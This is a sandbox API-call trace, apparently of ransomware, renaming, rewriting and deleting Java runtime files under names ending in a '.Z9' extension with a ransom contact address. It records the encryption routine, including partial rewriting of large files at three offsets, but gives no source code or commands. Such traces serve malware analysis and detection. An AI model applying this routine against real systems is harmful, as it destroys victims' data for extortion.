	[0094.933] lstrlenW (lpString=".bz2") returned 4
	[0094.933] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.933] lstrlenW (lpString=".7z") returned 3
	[0094.933] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0094.934] lstrlenW (lpString=".dbf") returned 4
	[0094.934] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0094.934] lstrlenW (lpString=".1cd") returned 4
	[0094.934] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0094.934] lstrlenW (lpString=".jpg") returned 4
	[0094.934] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.934] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0094.934] lstrlenW (lpString="rmiregistry.exe") returned 15
	[0094.934] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0094.935] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=16448) returned 1
	[0094.935] CloseHandle (hObject=0x350) returned 1
	[0094.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 0x20
	[0094.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.935] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0094.935] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.935] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.935] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0094.936] GetLastError () returned 0x0
	[0094.936] ReadFile (in: hFile=0x350, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x4040, lpOverlapped=0x0) returned 1
	[0094.938] WriteFile (in: hFile=0x320, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x4050, lpOverlapped=0x0) returned 1
	[0094.939] ReadFile (in: hFile=0x350, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.939] WriteFile (in: hFile=0x320, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0094.939] SetEndOfFile (hFile=0x320) returned 1
	[0094.939] CloseHandle (hObject=0x320) returned 1
	[0094.939] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.939] SetEndOfFile (hFile=0x350) returned 1
	[0094.940] CloseHandle (hObject=0x350) returned 1
	[0094.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.940] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 1
	[0094.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0094.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0094.941] lstrlenW (lpString=".doc") returned 4
	[0094.941] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0094.941] lstrlenW (lpString=".docx") returned 5
	[0094.941] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1
	[0094.941] lstrlenW (lpString=".pdf") returned 4
	[0094.941] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0094.941] lstrlenW (lpString=".xls") returned 4
	[0094.941] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0094.941] lstrlenW (lpString=".xlsx") returned 5
	[0094.941] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1
	[0094.941] lstrlenW (lpString=".ppt") returned 4
	[0094.941] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0094.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0094.941] lstrlenW (lpString=".zip") returned 4
	[0094.941] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0094.941] lstrlenW (lpString=".rar") returned 4
	[0094.941] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0094.941] lstrlenW (lpString=".bz2") returned 4
	[0094.941] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0094.941] lstrlenW (lpString=".7z") returned 3
	[0094.941] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0094.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0094.941] lstrlenW (lpString=".dbf") returned 4
	[0094.941] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0094.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0094.941] lstrlenW (lpString=".1cd") returned 4
	[0094.941] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0094.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0094.941] lstrlenW (lpString=".jpg") returned 4
	[0094.941] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0094.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0094.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0094.941] lstrlenW (lpString=".doc") returned 4
	[0094.942] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0094.942] lstrlenW (lpString=".docx") returned 5
	[0094.942] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1
	[0094.942] lstrlenW (lpString=".pdf") returned 4
	[0094.942] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0094.942] lstrlenW (lpString=".xls") returned 4
	[0094.942] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0094.942] lstrlenW (lpString=".xlsx") returned 5
	[0094.942] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1
	[0094.942] lstrlenW (lpString=".ppt") returned 4
	[0094.942] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0094.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0094.942] lstrlenW (lpString=".zip") returned 4
	[0094.942] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0094.942] lstrlenW (lpString=".rar") returned 4
	[0094.942] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0094.942] lstrlenW (lpString=".bz2") returned 4
	[0094.942] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0094.942] lstrlenW (lpString=".7z") returned 3
	[0094.942] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0094.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0094.942] lstrlenW (lpString=".dbf") returned 4
	[0094.942] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0094.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0094.942] lstrlenW (lpString=".1cd") returned 4
	[0094.942] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0094.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0094.942] lstrlenW (lpString=".jpg") returned 4
	[0094.942] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0094.942] lstrcmpiW (lpString1=".jsa", lpString2=".Z9") returned -1
	[0094.942] lstrlenW (lpString="classes.jsa") returned 11
	[0094.943] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0094.943] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=18677760) returned 1
	[0094.943] CloseHandle (hObject=0x350) returned 1
	[0094.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa")) returned 0x21
	[0094.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1
	[0094.944] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0095.226] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0095.227] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc64 | out: lpNewFilePointer=0x0) returned 1
	[0095.227] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1
	[0095.228] ReadFile (in: hFile=0x350, lpBuffer=0x3b28058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b28058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0095.360] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1
	[0095.360] ReadFile (in: hFile=0x350, lpBuffer=0x3b68058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b68058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0095.404] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x378fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.404] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1
	[0095.404] ReadFile (in: hFile=0x350, lpBuffer=0x3ba8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ba8058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0095.447] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.447] WriteFile (in: hFile=0x350, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x378fca8, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fca8*=0xc0102, lpOverlapped=0x0) returned 1
	[0095.636] SetEndOfFile (hFile=0x350) returned 1
	[0095.637] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3ecb010
	[0095.931] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1
	[0095.931] WriteFile (in: hFile=0x350, lpBuffer=0x3ecb010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ecb010*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0095.933] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1
	[0095.933] WriteFile (in: hFile=0x350, lpBuffer=0x3ecb010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ecb010*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0095.939] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1
	[0095.939] WriteFile (in: hFile=0x350, lpBuffer=0x3ecb010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ecb010*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0095.941] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb010 | out: hHeap=0x500000) returned 1
	[0095.941] CloseHandle (hObject=0x350) returned 1
	[0095.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x21) returned 1
	[0095.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0095.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0095.942] lstrlenW (lpString=".doc") returned 4
	[0095.942] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1
	[0095.942] lstrlenW (lpString=".docx") returned 5
	[0095.942] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1
	[0095.942] lstrlenW (lpString=".pdf") returned 4
	[0095.942] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1
	[0095.942] lstrlenW (lpString=".xls") returned 4
	[0095.942] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1
	[0095.942] lstrlenW (lpString=".xlsx") returned 5
	[0095.942] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1
	[0095.942] lstrlenW (lpString=".ppt") returned 4
	[0095.942] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1
	[0095.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0095.942] lstrlenW (lpString=".zip") returned 4
	[0095.942] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1
	[0095.942] lstrlenW (lpString=".rar") returned 4
	[0095.942] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1
	[0095.942] lstrlenW (lpString=".bz2") returned 4
	[0095.942] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1
	[0095.942] lstrlenW (lpString=".7z") returned 3
	[0095.942] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1
	[0095.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0095.942] lstrlenW (lpString=".dbf") returned 4
	[0095.942] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1
	[0095.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0095.942] lstrlenW (lpString=".1cd") returned 4
	[0095.942] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1
	[0095.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0095.942] lstrlenW (lpString=".jpg") returned 4
	[0095.943] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1
	[0095.943] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0095.943] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0095.943] lstrlenW (lpString=".doc") returned 4
	[0095.943] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1
	[0095.943] lstrlenW (lpString=".docx") returned 5
	[0095.943] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1
	[0095.943] lstrlenW (lpString=".pdf") returned 4
	[0095.943] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1
	[0095.943] lstrlenW (lpString=".xls") returned 4
	[0095.943] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1
	[0095.943] lstrlenW (lpString=".xlsx") returned 5
	[0095.943] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1
	[0095.943] lstrlenW (lpString=".ppt") returned 4
	[0095.943] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1
	[0095.943] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0095.943] lstrlenW (lpString=".zip") returned 4
	[0095.943] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1
	[0095.943] lstrlenW (lpString=".rar") returned 4
	[0095.943] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1
	[0095.943] lstrlenW (lpString=".bz2") returned 4
	[0095.943] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1
	[0095.943] lstrlenW (lpString=".7z") returned 3
	[0095.943] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1
	[0095.943] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0095.943] lstrlenW (lpString=".dbf") returned 4
	[0095.943] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1
	[0095.943] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0095.943] lstrlenW (lpString=".1cd") returned 4
	[0095.943] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1
	[0095.943] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0095.943] lstrlenW (lpString=".jpg") returned 4
	[0095.943] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1
	[0095.944] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0095.944] lstrlenW (lpString="charsets.jar") returned 12
	[0095.944] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0095.944] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3036922) returned 1
	[0095.944] CloseHandle (hObject=0x350) returned 1
	[0095.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0x20
	[0095.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.944] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0095.945] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0095.945] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc64 | out: lpNewFilePointer=0x0) returned 1
	[0095.945] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1
	[0095.945] ReadFile (in: hFile=0x350, lpBuffer=0x3b28058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b28058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0096.014] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xf7253, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1
	[0096.014] ReadFile (in: hFile=0x350, lpBuffer=0x3b68058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b68058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0096.033] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x378fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.033] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x2a56fa, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1
	[0096.033] ReadFile (in: hFile=0x350, lpBuffer=0x3ba8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ba8058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0096.177] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.177] WriteFile (in: hFile=0x350, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x378fca8, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fca8*=0xc0104, lpOverlapped=0x0) returned 1
	[0096.194] SetEndOfFile (hFile=0x350) returned 1
	[0096.194] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3ebb008
	[0096.199] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1
	[0096.199] WriteFile (in: hFile=0x350, lpBuffer=0x3ebb008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ebb008*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0096.200] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xf7253, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1
	[0096.200] WriteFile (in: hFile=0x350, lpBuffer=0x3ebb008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ebb008*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0096.745] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x2a56fa, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1
	[0096.745] WriteFile (in: hFile=0x350, lpBuffer=0x3ebb008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ebb008*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0096.748] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0096.749] CloseHandle (hObject=0x350) returned 1
	[0096.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0096.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0096.749] lstrlenW (lpString=".doc") returned 4
	[0096.749] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0096.749] lstrlenW (lpString=".docx") returned 5
	[0096.749] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0096.749] lstrlenW (lpString=".pdf") returned 4
	[0096.750] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0096.750] lstrlenW (lpString=".xls") returned 4
	[0096.750] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0096.750] lstrlenW (lpString=".xlsx") returned 5
	[0096.750] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0096.750] lstrlenW (lpString=".ppt") returned 4
